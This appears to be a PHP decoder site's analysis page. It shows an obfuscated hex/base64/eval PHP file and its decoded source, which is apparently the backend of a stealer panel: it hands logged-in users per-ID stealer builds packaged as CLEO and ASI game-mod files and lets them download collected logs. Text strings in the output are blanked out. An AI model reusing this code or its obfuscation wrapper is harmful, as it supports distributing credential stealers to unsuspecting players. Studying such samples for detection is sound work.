Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function convertHex2bin($hex) { return pack("H*", $hex); } @$data = convertHe..

Decoded Output download

session_start();

$id = $_SESSION['id'];
$userid = session_id();

$token = $_GET['tk'];

function loadAnyFile($basename, $savename)
{
if (file_exists($basename))
{
header ("Content-Type: application/octet-stream");
 header ("Accept-Ranges: bytes");
 header ("Content-Length: ".filesize($basename)); 
 header ("Content-Disposition: attachment; filename='".$savename."'");
 readfile($basename);
 } else {
echo "  !<br/><br/>";
echo "     ,       ID   . <br/><br/>";
echo "          !  !";
}
}

function loadStealer($format)
{
if ($format == "cs" && $_SESSION['id'] != 2)
{
$filename = "./cleo_st/".$_SESSION['id'].".cs";
$stealname = "st".$_SESSION['id'].".cs";
if (file_exists($filename))
{
loadAnyFile($filename, $stealname);
} else {
echo "  !<br/><br/>";
echo "     ,       ID   . <br/><br/>";
echo "          !  !";
}
}
else {
if ($format == "asi" && $_SESSION['id'] != 2)
{
$filename = "asi_st/".$_SESSION['id'].".asi";
$stealname = "st".$_SESSION['id'].".asi";
if (file_exists($filename))
{
loadAnyFile($filename, $stealname);
} else {
echo "  !<br/><br/>";
echo "     ,       ID   . <br/><br/>";
echo "          !  !";
}
}
}

}

function downloadLogs($filter)
{
	  if ($_SESSION['format'] == "asi") {
      loadAnyFile("asi/".$id.$filter.".html", $id.$filter.".html");
	  } else {
      loadAnyFile("cleo/".$id.$filter.".html", $id.$filter.".html");
	  }
}

$file = $_GET['file'];

   if(isset($_SESSION['id'])) {
   if($token == $userid)
   {
   if (isset($_GET['file']))
   {
   
   if ($file == "userscript")
   {
   loadStealer($_SESSION['format']);
   }
   
   $logformat = $_SESSION['format'];
   
   if ($file == "newl")
   {
downloadLogs(""); // 
}

include "exfilter_download.php";

}
   }
}

Did this file decode correctly?

Original Code

<?php
function convertHex2bin($hex) {
	return pack("H*", $hex);
}

@$data = convertHex2bin("6576616C286261736536345F6465636F646528226332567A63326C76626C397A64474679644367704F77304B44516F6B615751675053416B58314E4655314E4A543035624A326C6B4A31303744516F6B64584E6C636D6C6B494430676332567A63326C76626C39705A4367704F77304B44516F6B644739725A5734675053416B583064465646736E6447736E5854734E4367304B5A6E56755933527062323467624739685A45467565555A706247556F4A474A68633256755957316C4C43416B633246325A5735686257557044517037445170705A69416F5A6D6C735A56396C65476C7A64484D6F4A474A68633256755957316C4B536B4E436E734E436D686C5957526C6369416F496B4E76626E526C626E517456486C775A546F675958427762476C6A595852706232347662324E305A585174633352795A57467449696B3744516F67614756685A4756794943676951574E6A5A5842304C564A68626D646C637A6F67596E6C305A584D694B54734E4369426F5A57466B5A5849674B434A44623235305A5735304C55786C626D643061446F674969356D6157786C63326C365A53676B596D467A5A573568625755704B54736744516F67614756685A4756794943676951323975644756756443314561584E7762334E7064476C76626A6F675958523059574E6F62575675644473675A6D6C735A573568625755394A7949754A484E68646D56755957316C4C69496E49696B3744516F67636D56685A475A706247556F4A474A68633256755957316C4B54734E4369423949475673633255676577304B5A574E6F62794169304B5451734E4335304C7367304C33517453445176644377304C6E51744E4331304C306850474A794C7A3438596E4976506949374451706C5932687649434C516C644742304C7651754344516B74474C494E432F3059765267744377304C585267744331305948526A43445267644336304C44526839437730594C526A434452684E4377304C6E517579445267644743304C6A5175394337304C5852674E43774C4344526774432B494E4742304C725176744741304C58517453445173744742304C58517339432B494E474230594C51754E4337304C765174644741494E4339304C4167304C4C51734E474949456C45494E433130596E517453445176644331494E4742304C375173644741304C44517653346750474A794C7A3438596E4976506949374451706C5932687649434C516B744742304C55673059485267744334304C7651753943313059445269794451744E433730593867304C33517674437930597652685344517639432B304C76526A4E4333304C37517374437730594C5174644337304C58517553445173644744304C545267394743494E4742304C375173644741304C44517664474C494E4379494E4378304C7651754E4332304C445175644749304C6A51745344517639437730594452677944526764474430594C5176744336495344516E394741304C6A517664432B30594851754E4338494E4334304C665173744334304C335174644339304C6A526A7945694F77304B6651304B6651304B4451706D6457356A64476C76626942736232466B5533526C5957786C6369676B5A6D3979625746304B51304B6577304B615759674B43526D62334A745958516750543067496D4E7A4969416D4A69416B58314E4655314E4A543035624A326C6B4A313067495430674D696B4E436E734E4369526D6157786C626D46745A534139494349754C324E735A573966633351764969346B58314E4655314E4A543035624A326C6B4A3130754969356A6379493744516F6B6333526C595778755957316C49443067496E4E304969346B58314E4655314E4A543035624A326C6B4A3130754969356A63794937445170705A69416F5A6D6C735A56396C65476C7A64484D6F4A475A70624756755957316C4B536B4E436E734E436D787659575242626E6C476157786C4B43526D6157786C626D46745A5377674A484E305A574673626D46745A536B374451703949475673633255676577304B5A574E6F62794169304B5451734E4335304C7367304C33517453445176644377304C6E51744E4331304C306850474A794C7A3438596E4976506949374451706C5932687649434C516C644742304C7651754344516B74474C494E432F3059765267744377304C585267744331305948526A43445267644336304C44526839437730594C526A434452684E4377304C6E517579445267644743304C6A5175394337304C5852674E43774C4344526774432B494E4742304C725176744741304C58517453445173744742304C58517339432B494E474230594C51754E4337304C765174644741494E4339304C4167304C4C51734E474949456C45494E433130596E517453445176644331494E4742304C375173644741304C44517653346750474A794C7A3438596E4976506949374451706C5932687649434C516B744742304C55673059485267744334304C7651753943313059445269794451744E433730593867304C33517674437930597652685344517639432B304C76526A4E4333304C37517374437730594C5174644337304C58517553445173644744304C545267394743494E4742304C375173644741304C44517664474C494E4379494E4378304C7651754E4332304C445175644749304C6A51745344517639437730594452677944526764474430594C5176744336495344516E394741304C6A517664432B30594851754E4338494E4334304C665173744334304C335174644339304C6A526A7945694F77304B6651304B6651304B5A57787A5A534237445170705A69416F4A475A76636D3168644341395053416959584E704969416D4A69416B58314E4655314E4A543035624A326C6B4A313067495430674D696B4E436E734E4369526D6157786C626D46745A53413949434A6863326C66633351764969346B58314E4655314E4A543035624A326C6B4A3130754969356863326B694F77304B4A484E305A574673626D46745A53413949434A7A644349754A46395452564E545355394F577964705A4364644C69497559584E70496A734E436D6C6D4943686D6157786C5832563461584E306379676B5A6D6C735A573568625755704B51304B6577304B624739685A45467565555A706247556F4A475A70624756755957316C4C43416B6333526C595778755957316C4B54734E436E30675A57787A5A5342374451706C5932687649434C51704E4377304C6E517579445176644331494E4339304C445175644330304C585176534538596E4976506A78696369382B496A734E436D566A61473867497443563059485175394334494E435330597367304C2F5269394743304C445174644743304C58526764474D494E4742304C7251734E4748304C44526774474D494E4745304C445175644337494E474230594C51754E4337304C765174644741304C4173494E4743304C3467305948517574432B3059445174644331494E4379305948517464437A304C34673059485267744334304C76517539433130594167304C335173434451737443773059676753555167304C585269644331494E4339304C5567305948517674437830594451734E43394C694138596E4976506A78696369382B496A734E436D566A6147386749744353305948517453445267644743304C6A5175394337304C5852674E474C494E4330304C76526A7944517664432B304C4C5269394746494E432F304C37517539474D304C665176744379304C445267744331304C765174644335494E437830595051744E474430594967305948517674437830594451734E433930597367304C4967304C485175394334304C6251734E433530596A51754E4331494E432F304C4452674E4744494E4742305950526774432B304C6F68494E436630594451754E4339304C375267644334304C7767304C6A5174394379304C6A5176644331304C3351754E47504953493744517039445170394451703944516F4E436E304E4367304B5A6E567559335270623234675A473933626D78765957524D6232647A4B43526D615778305A5849704451703744516F4A494342705A69416F4A46395452564E545355394F5779646D62334A745958516E585341395053416959584E7049696B676577304B4943416749434167624739685A45467565555A706247556F496D467A615338694C6952705A43346B5A6D6C73644756794C6949756148527462434973494352705A43346B5A6D6C73644756794C69497561485274624349704F77304B435341676653426C62484E6C4948734E43694167494341674947787659575242626E6C476157786C4B434A6A624756764C7949754A476C6B4C69526D615778305A5849754969356F64473173496977674A476C6B4C69526D615778305A5849754969356F6447317349696B3744516F4A494342394451703944516F4E4369526D6157786C494430674A463948525652624A325A706247556E5854734E4367304B494341676157596F61584E7A5A58516F4A46395452564E545355394F577964705A4364644B536B676577304B494341676157596F4A485276613256754944303949435231633256796157517044516F674943423744516F67494342705A69416F61584E7A5A58516F4A463948525652624A325A706247556E58536B7044516F674943423744516F674943414E4369416749476C6D4943676B5A6D6C735A5341395053416964584E6C636E4E6A636D6C776443497044516F674943423744516F67494342736232466B5533526C5957786C6369676B58314E4655314E4A543035624A325A76636D3168644364644B54734E436941674948304E436941674941304B494341674A4778765A325A76636D316864434139494352665530565455306C50546C736E5A6D3979625746304A31303744516F674943414E4369416749476C6D4943676B5A6D6C735A53413950534169626D56336243497044516F67494342374451706B62336475624739685A4578765A334D6F496949704F7941764C394339304C5852684E4334304C76526A4E47433059445176744379304C44517664433930597651745344517539432B304C50517541304B6651304B44517070626D4E736457526C49434A6C65475A706248526C636C396B62336475624739685A433577614841694F77304B4451703944516F6749434239445170392229293B");

eval($data);
?>

Function Calls

pack 1
base64_decode 2
convertHex2bin 1

Variables

$hex 6576616C286261736536345F6465636F646528226332567A63326C76626C..
$data eval(base64_decode("c2Vzc2lvbl9zdGFydCgpOw0KDQokaWQgPSAkX1NF..

Stats

MD5 8fcb47688319d50505c4992ce4cc6767
Eval Count 4
Decode Time 101 ms